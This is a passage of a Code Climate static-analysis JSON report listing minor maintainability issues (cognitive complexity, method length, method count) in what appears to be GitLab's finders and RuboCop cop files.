refactoring.","fingerprint":"be7b1d323697075c6c41a353ae096f3b","location":{"path":"app/finders/environments_finder.rb","lines":{"begin":11,"end":47}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `execute` has 29 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"caa84d8a4abdc89470c9734cc20f668b","location":{"path":"app/finders/environments_finder.rb","lines":{"begin":11,"end":47}},"other_locations":[],"remediation_points":696000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"file_lines","content":{"body":""},"description":"File `issuable_finder.rb` has 326 lines of code (exceeds 250 allowed). Consider refactoring.","fingerprint":"a0da380c5a294186d2f8b47c7dbbefc2","location":{"path":"app/finders/issuable_finder.rb","lines":{"begin":30,"end":487}},"other_locations":[],"remediation_points":2294400,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `milestones` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"10f2a889ce05a62411b22bd93f5cc5fb","location":{"path":"app/finders/issuable_finder.rb","lines":{"begin":195,"end":214}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `by_milestone` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"4b5705f5f9e383902a98d61545a61a9f","location":{"path":"app/finders/issuable_finder.rb","lines":{"begin":432,"end":447}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `IssuableFinder` has 47 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"863953770234ecee39c26f4a376fd96f","location":{"path":"app/finders/issuable_finder.rb","lines":{"begin":30,"end":487}},"other_locations":[],"remediation_points":3900000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `target` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"10931dd4f683d88c8163ae49517c9ab8","location":{"path":"app/finders/notes_finder.rb","lines":{"begin":30,"end":46}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `by_archived` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"8a0163155f7d44abda52664f1aeec277","location":{"path":"app/finders/projects_finder.rb","lines":{"begin":153,"end":167}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `label_ids` has a Cognitive Complexity of 13 (exceeds 5 allowed). Consider refactoring.","fingerprint":"8efea533e852a1ae66e134916ddee3ed","location":{"path":"app/finders/labels_finder.rb","lines":{"begin":30,"end":59}},"other_locations":[],"remediation_points":950000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `project` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"dcae9d4bea82b824bf3281aee3585c28","location":{"path":"app/finders/labels_finder.rb","lines":{"begin":138,"end":149}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `execute` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"1b10747a7f6c51031eb2aec28a84ab64","location":{"path":"app/finders/autocomplete/users_finder.rb","lines":{"begin":27,"end":40}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_lines","content":{"body":""},"description":"Method `distinct_on` has 29 lines of code (exceeds 25 allowed). Consider refactoring.","fingerprint":"684bb4005fc7ad31c75a6725f7cc9bb4","location":{"path":"app/finders/members_finder.rb","lines":{"begin":38,"end":71}},"other_locations":[],"remediation_points":696000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_count","content":{"body":""},"description":"Class `TodosFinder` has 23 methods (exceeds 20 allowed). Consider refactoring.","fingerprint":"bda816f835a5b1d9557e5018542c8d40","location":{"path":"app/finders/todos_finder.rb","lines":{"begin":17,"end":195}},"other_locations":[],"remediation_points":1500000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `on_block` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"2764263922dc65629ac261e7b22a4aaa","location":{"path":"rubocop/cop/avoid_break_from_strong_memoize.rb","lines":{"begin":26,"end":37}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `on_send` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"d3d826dd296b41ed52a3d279711f08c1","location":{"path":"rubocop/cop/migration/reversible_add_column_with_default.rb","lines":{"begin":22,"end":31}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `on_send` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"7c2b352ab3b2b95bfd273eed48b0abde","location":{"path":"rubocop/cop/migration/update_column_in_batches.rb","lines":{"begin":14,"end":23}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `on_send` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"1ca44c40f4350122f1d014c4832b0903","location":{"path":"rubocop/cop/migration/update_large_table.rb","lines":{"begin":52,"end":64}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `on_send` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"259f2282957271f68f06320d6e9c9304","location":{"path":"rubocop/cop/migration/add_reference.rb","lines":{"begin":13,"end":31}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `on_def` has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.","fingerprint":"1eade1345b7999362c94ffdd69c9abe5","location":{"path":"rubocop/cop/migration/add_index.rb","lines":{"begin":12,"end":32}},"other_locations":[],"remediation_points":650000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `on_send` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"2957b0117eb58305df4d1c4f628f6e22","location":{"path":"rubocop/cop/migration/add_concurrent_index.rb","lines":{"begin":14,"end":26}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `on_send` has a Cognitive Complexity of 14 (exceeds 5 allowed). Consider refactoring.","fingerprint":"a265e4d95fda1c51004e6b280d4faa62","location":{"path":"rubocop/cop/migration/hash_index.rb","lines":{"begin":16,"end":35}},"other_locations":[],"remediation_points":1050000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `on_send` has a Cognitive Complexity of 11 (exceeds 5 allowed). Consider refactoring.","fingerprint":"4642fe2fb8caa127e076b834679b38c7","location":{"path":"rubocop/cop/migration/add_column.rb","lines":{"begin":16,"end":35}},"other_locations":[],"remediation_points":750000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `on_send` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring.","fingerprint":"53f08cb9ea1aded1c4867d5ec20513e1","location":{"path":"rubocop/cop/migration/datetime.rb","lines":{"begin":26,"end":38}},"other_locations":[],"remediation_points":550000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `on_def` has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.","fingerprint":"33c826c076b3d604191dc285ae1c197f","location":{"path":"rubocop/cop/migration/remove_column.rb","lines":{"begin":13,"end":26}},"other_locations":[],"remediation_points":450000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `on_send` has a Cognitive Complexity of 12 (exceeds 5 allowed). Consider refactoring.","fingerprint":"5f6ab7199493398668d2f7fb4ae05a45","location":{"path":"rubocop/cop/migration/safer_boolean_column.rb","lines":{"begin":34,"end":58}},"other_locations":[],"remediation_points":850000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `on_send` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"5d3a133fdd5733e12d588c313215673c","location":{"path":"rubocop/cop/migration/remove_concurrent_index.rb","lines":{"begin":14,"end":21}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `on_block` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"60e29c1a431f0815adefc57a3daa815a","location":{"path":"rubocop/cop/avoid_return_from_blocks.rb","lines":{"begin":28,"end":39}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `parent_blocks` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"bf710c1583fafaba0fb4a8d7507199ca","location":{"path":"rubocop/cop/avoid_return_from_blocks.rb","lines":{"begin":55,"end":65}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `on_class` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"ac6a847fc937c343670c7deedadaa245","location":{"path":"rubocop/cop/code_reuse/presenter.rb","lines":{"begin":20,"end":37}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `check_all_send_nodes` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"86036271965f234231993a45bdebb14d","location":{"path":"rubocop/cop/code_reuse/worker.rb","lines":{"begin":31,"end":46}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `on_class` has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.","fingerprint":"3468ff5bbfe02d60179b461cee64dcd2","location":{"path":"rubocop/cop/code_reuse/serializer.rb","lines":{"begin":20,"end":37}},"other_locations":[],"remediation_points":350000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `on_send` has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring.","fingerprint":"f6cd42fcfb267a05384d5c43432583d9","location":{"path":"rubocop/cop/code_reuse/active_record.rb","lines":{"begin":91,"end":107}},"other_locations":[],"remediation_points":250000,"severity":"minor","type":"issue","engine_name":"structure"},{"categories":["Complexity"],"check_name":"method_complexity","content":{"body":"# Cognitive Complexity\nCognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.\n\n### A method's cognitive complexity is based on a few simple rules:\n* Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one\n* Code is considered more complex for each \"break in the linear flow of the code\"\n* Code is considered more complex when \"flow breaking structures are nested\"\n\n### Further reading\n* [Cognitive Complexity docs](https://docs.codeclimate.com/v1.0/docs/cognitive-complexity)\n* [Cognitive Complexity: A new way of measuring understandability](https://www.sonarsource.com/docs/CognitiveComplexity.pdf)\n"},"description":"Method `on_if` has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider 